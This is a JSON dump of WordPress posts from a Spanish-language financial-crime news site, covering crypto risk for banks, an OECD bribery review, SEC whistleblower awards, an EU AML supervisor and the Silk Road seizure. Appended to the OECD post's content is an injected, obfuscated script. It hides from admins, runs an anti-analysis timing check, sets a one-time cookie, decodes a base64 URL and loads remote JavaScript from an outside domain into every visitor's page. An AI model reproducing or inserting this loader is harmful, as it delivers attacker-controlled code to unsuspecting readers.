pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, 